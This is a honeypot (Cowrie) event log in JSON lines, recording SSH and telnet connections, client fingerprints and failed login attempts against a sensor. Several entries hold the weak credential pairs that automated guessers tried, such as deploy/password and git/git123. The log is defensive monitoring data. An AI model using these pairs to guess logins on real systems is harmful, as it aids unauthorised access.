{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:48.704594Z","src_ip":"122.168.114.167","session":"fb23c8654dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:53.921700Z","src_ip":"122.168.114.167","session":"fb23c8654dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:24:55.973231Z","src_ip":"122.168.114.167","session":"fb23c8654dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40614,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bcfd8e04334","protocol":"ssh","message":"New connection: 159.203.92.129:40614 (159.203.135.109:22) [session: 9bcfd8e04334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:17.344202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:17.349540Z","src_ip":"159.203.92.129","session":"9bcfd8e04334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:17.355709Z","src_ip":"159.203.92.129","session":"9bcfd8e04334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appltest","password":"appltest123","message":"login attempt [appltest/appltest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:17.371618Z","src_ip":"159.203.92.129","session":"9bcfd8e04334","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:18.383926Z","src_ip":"159.203.92.129","session":"9bcfd8e04334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55212,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e60f004bcee","protocol":"ssh","message":"New connection: 122.168.114.167:55212 (159.203.135.109:22) [session: 4e60f004bcee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:26.400078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:27.211762Z","src_ip":"122.168.114.167","session":"4e60f004bcee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:27.216129Z","src_ip":"122.168.114.167","session":"4e60f004bcee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:32.375955Z","src_ip":"122.168.114.167","session":"4e60f004bcee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.6","message":"Connection lost after 8.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:34.959855Z","src_ip":"122.168.114.167","session":"4e60f004bcee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50628,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8f195d90801","protocol":"telnet","message":"New connection: 185.26.126.47:50628 (159.203.135.109:23) [session: f8f195d90801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:53.726063Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42516,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b8b1bb56ed3","protocol":"ssh","message":"New connection: 159.203.92.129:42516 (159.203.135.109:22) [session: 3b8b1bb56ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:59.919942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:59.924901Z","src_ip":"159.203.92.129","session":"3b8b1bb56ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:59.929595Z","src_ip":"159.203.92.129","session":"3b8b1bb56ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appltest","password":"appltest1234","message":"login attempt [appltest/appltest1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:25:59.987009Z","src_ip":"159.203.92.129","session":"3b8b1bb56ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:00.992589Z","src_ip":"159.203.92.129","session":"3b8b1bb56ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.928565979003906,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:03.654513Z","src_ip":"185.26.126.47","session":"f8f195d90801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57616,"dst_ip":"159.203.135.109","dst_port":22,"session":"68b553d92fb4","protocol":"ssh","message":"New connection: 122.168.114.167:57616 (159.203.135.109:22) [session: 68b553d92fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:04.609571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:05.897471Z","src_ip":"122.168.114.167","session":"68b553d92fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:05.901626Z","src_ip":"122.168.114.167","session":"68b553d92fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:12.770811Z","src_ip":"122.168.114.167","session":"68b553d92fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:15.633867Z","src_ip":"122.168.114.167","session":"68b553d92fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36002,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a3068eada7f","protocol":"ssh","message":"New connection: 159.203.92.129:36002 (159.203.135.109:22) [session: 9a3068eada7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:42.224624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:42.229444Z","src_ip":"159.203.92.129","session":"9a3068eada7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:42.233240Z","src_ip":"159.203.92.129","session":"9a3068eada7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appluat","password":"appluat","message":"login attempt [appluat/appluat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:42.244162Z","src_ip":"159.203.92.129","session":"9a3068eada7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":60020,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3c16c6c3a47","protocol":"ssh","message":"New connection: 122.168.114.167:60020 (159.203.135.109:22) [session: b3c16c6c3a47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:42.495670Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:43.249908Z","src_ip":"159.203.92.129","session":"9a3068eada7f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:44.150994Z","src_ip":"122.168.114.167","session":"b3c16c6c3a47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:44.187389Z","src_ip":"122.168.114.167","session":"b3c16c6c3a47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:53.104110Z","src_ip":"122.168.114.167","session":"b3c16c6c3a47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.1","message":"Connection lost after 14.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:26:56.595619Z","src_ip":"122.168.114.167","session":"b3c16c6c3a47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34196,"dst_ip":"159.203.135.109","dst_port":22,"session":"65c71bedc68a","protocol":"ssh","message":"New connection: 122.168.114.167:34196 (159.203.135.109:22) [session: 65c71bedc68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:20.225847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:22.352376Z","src_ip":"122.168.114.167","session":"65c71bedc68a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:22.356728Z","src_ip":"122.168.114.167","session":"65c71bedc68a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40556,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f27ad11ebad","protocol":"ssh","message":"New connection: 159.203.92.129:40556 (159.203.135.109:22) [session: 6f27ad11ebad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:25.000283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:25.005396Z","src_ip":"159.203.92.129","session":"6f27ad11ebad","protocol":"ssh"}
